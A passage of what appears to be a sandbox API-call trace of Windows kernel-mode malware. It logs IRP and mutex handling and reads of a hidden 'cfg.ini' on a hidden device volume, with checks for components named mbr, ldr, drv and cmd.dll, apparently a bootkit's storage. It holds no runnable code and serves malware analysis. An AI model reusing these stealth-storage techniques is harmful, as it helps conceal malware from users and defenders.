ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.978] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.978] IdePortDispatch () returned 0x103 [0129.979] KeWaitForMutexObject () returned 0x0 [0129.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.979] KeLeaveCriticalRegion () [0129.979] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.979] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.979] KeEnterCriticalRegion () [0129.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.979] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.979] KeLeaveCriticalRegion () [0129.979] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.979] KeEnterCriticalRegion () [0129.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.979] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.979] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.979] KeLeaveCriticalRegion () [0129.979] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.979] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.979] KeEnterCriticalRegion () [0129.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.980] ExFreePoolWithTag (P=0xfffffa8003c074c0, Tag=0x0) [0129.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.980] KeLeaveCriticalRegion () [0129.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.980] ReleaseMutex (hMutex=0xf0) returned 1 [0129.980] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.980] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.980] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.980] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.980] KeEnterCriticalRegion () [0129.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.980] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.980] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.980] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.980] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.980] IdePortDispatch () returned 0x103 [0129.980] KeWaitForMutexObject () returned 0x0 [0129.980] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.980] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.980] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.980] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.980] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.980] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.980] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.980] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.980] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.980] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.980] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.980] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.980] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.980] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.980] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.980] KeLeaveCriticalRegion () [0129.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.980] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.980] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.981] KeEnterCriticalRegion () [0129.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.981] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.981] IdePortDispatch () returned 0x103 [0129.981] KeWaitForMutexObject () returned 0x0 [0129.981] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.981] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.981] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.981] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.981] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.981] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.981] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.981] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.981] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.981] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.981] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.981] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.981] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.981] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.981] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.981] KeLeaveCriticalRegion () [0129.981] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.981] ReleaseMutex (hMutex=0x100) returned 1 [0129.981] Sleep (dwMilliseconds=0x2bf20) [0129.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70adb9b0, dwHighDateTime=0x1d24fa4)) [0129.988] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.988] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.988] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.988] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.988] KeEnterCriticalRegion () [0129.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.988] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.988] IdePortDispatch () returned 0x103 [0129.989] KeWaitForMutexObject () returned 0x0 [0129.989] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.989] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.989] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.989] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.989] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.989] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07230 [0129.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.989] KeLeaveCriticalRegion () [0129.989] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.989] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.989] KeEnterCriticalRegion () [0129.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.989] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.989] KeLeaveCriticalRegion () [0129.989] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.989] KeEnterCriticalRegion () [0129.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.989] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.989] IdePortDispatch () returned 0x103 [0129.989] KeWaitForMutexObject () returned 0x0 [0129.989] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.989] KeLeaveCriticalRegion () [0129.989] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.989] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.990] KeEnterCriticalRegion () [0129.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.990] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d06000 [0129.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.990] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.990] IdePortDispatch () returned 0x103 [0129.990] KeWaitForMutexObject () returned 0x0 [0129.990] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.990] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.990] IdePortDispatch () returned 0x103 [0129.990] KeWaitForMutexObject () returned 0x0 [0129.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.990] KeLeaveCriticalRegion () [0129.990] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.991] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.991] KeEnterCriticalRegion () [0129.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.991] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.991] KeLeaveCriticalRegion () [0129.991] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.991] KeEnterCriticalRegion () [0129.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.991] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.991] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.991] KeLeaveCriticalRegion () [0129.991] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.991] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.991] KeEnterCriticalRegion () [0129.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.991] ExFreePoolWithTag (P=0xfffffa8003c07230, Tag=0x0) [0129.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.991] KeLeaveCriticalRegion () [0129.991] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.991] ReleaseMutex (hMutex=0xf0) returned 1 [0129.991] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.991] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.991] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.991] KeEnterCriticalRegion () [0129.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.991] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.991] IdePortDispatch () returned 0x103 [0129.991] KeWaitForMutexObject () returned 0x0 [0129.992] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.992] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.992] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.992] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.992] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.992] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0129.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.992] KeLeaveCriticalRegion () [0129.992] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.992] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.992] KeEnterCriticalRegion () [0129.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.992] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.992] KeLeaveCriticalRegion () [0129.992] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.992] KeEnterCriticalRegion () [0129.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.992] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.992] IdePortDispatch () returned 0x103 [0129.992] KeWaitForMutexObject () returned 0x0 [0129.992] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.992] KeLeaveCriticalRegion () [0129.992] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.992] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.992] KeEnterCriticalRegion () [0129.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.993] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d07000 [0129.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.993] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.993] IdePortDispatch () returned 0x103 [0129.993] KeWaitForMutexObject () returned 0x0 [0129.993] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.993] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.993] IdePortDispatch () returned 0x103 [0129.993] KeWaitForMutexObject () returned 0x0 [0129.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.993] KeLeaveCriticalRegion () [0129.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.994] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.994] KeEnterCriticalRegion () [0129.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.994] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.994] KeLeaveCriticalRegion () [0129.994] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.994] KeEnterCriticalRegion () [0129.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.994] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.994] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c08dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.994] KeLeaveCriticalRegion () [0129.994] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.994] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.994] KeEnterCriticalRegion () [0129.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.994] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0129.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.994] KeLeaveCriticalRegion () [0129.994] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.994] ReleaseMutex (hMutex=0xf0) returned 1 [0129.994] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.994] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.994] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.994] KeEnterCriticalRegion () [0129.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.994] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.994] IdePortDispatch () returned 0x103 [0129.995] KeWaitForMutexObject () returned 0x0 [0129.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.995] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.995] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.995] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.995] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.995] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07610 [0129.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.995] KeLeaveCriticalRegion () [0129.995] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.995] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, 